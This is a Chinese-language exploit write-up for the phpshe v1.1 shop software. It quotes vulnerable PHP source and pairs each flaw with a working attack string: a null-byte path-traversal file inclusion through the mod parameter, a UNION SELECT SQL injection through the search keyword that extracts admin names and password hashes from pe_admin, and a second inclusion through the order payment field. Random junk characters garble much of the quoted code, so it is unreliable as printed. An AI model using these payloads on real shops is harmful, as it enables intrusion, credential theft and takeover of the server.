phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
7 `* G! D) @+ ]/* ========================
# g- W# Q3 z' \: b1 h/* By: : Kn1f3
$ w& W, [" r; t/ d* U- ]/* E-Mail : 681796@qq.com
/*******************************************************/
  l; z* m1 H; g& k1 T0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
7 K5 b- [- _2 M+ {) B; x4 e) b!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
) s& c" v) p: i# D& D  r( v1 ?}
else {
4 t- g1 R& M+ C) e3 H, R!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 g- h+ @7 ?7 a( ^!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
) d/ z! {5 s; D" v1 o% rsession_start();
* M) ^8 @5 A8 T' |3 n* d!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
8 R0 E5 X3 O. W  V/ W: X; ^!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
, o/ N# Z# J/ X0 r# ^1 M# C4 B' G. uurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
" v& T. A$ t3 g8 S1 S& M$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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2 g2 q. R  |/ c, ]  r% D% g% ^9 w! P<code id="code2">

//product.php文件
& R- V8 {, J, @! Bcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
* f( ^7 Y! F. b+ }( R//搜索
$sqlwhere = " and `product_state` = 1";
9 B$ ~9 x1 x* v2 y: [! Epe_lead('hook/category.hook.php');
; l0 c) i8 j8 h1 rif ($category_id) {
% {% a4 l& q8 m7 Q5 H2 }$ W1 Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
; ?& O* g  u( W4 u}
+ T$ \" r( `8 a% S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
1 e. k, |: K* L+ X, ?if ($_g_orderby) {
8 I; t/ v* b2 q; m% R, b* v$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: f6 e) d1 @' [1 H# r. x}
3 w( n) K2 m( ^! b, G: Melse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
# g3 P( _: N9 c+ x7 O+ J( i5 k//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
9 Y2 o& j, M. Q! ?* ^$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
5 G0 J& }' L9 f5 K5 m//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 ]+ S5 w+ ^0 a* {  D% Q

</code>

& f6 @: u: H3 h* ?# c6 T$ f0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

- y1 F5 m1 C9 K; G3 F* W3 y$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

, |5 q4 u! n, E3 I: hforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

/ \/ A6 t0 ]8 Z  @if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

; ~- W$ g! s5 f8 `$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

- R, \* r7 k2 _- `' O( q!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

+ k( s2 z. y/ Y, T3 Eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

3 C6 E# u- A+ h& A( rforeach ($info_list as $v) {

& h2 i# A/ ^/ X$order['order_name'] .= "{$v['product_name']};";

, h6 P+ I+ R. E}

echo '正在为您连接支付网站，请稍后...';

0 l6 N+ b% i* Z  P2 A1 Einclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

, e; \' T: k. W) f/ V, `8 |9 f1 ~4 A}//当一切准备好的时候就可以进行"鸡肋包含了"

& d: K  C  o& }, Zelse {

' F. @' N6 L- F+ X, M" \pe_error('支付错误...');

# F+ }# h7 S5 R; J) Z}

0 c6 p3 N5 n  l/ h; g}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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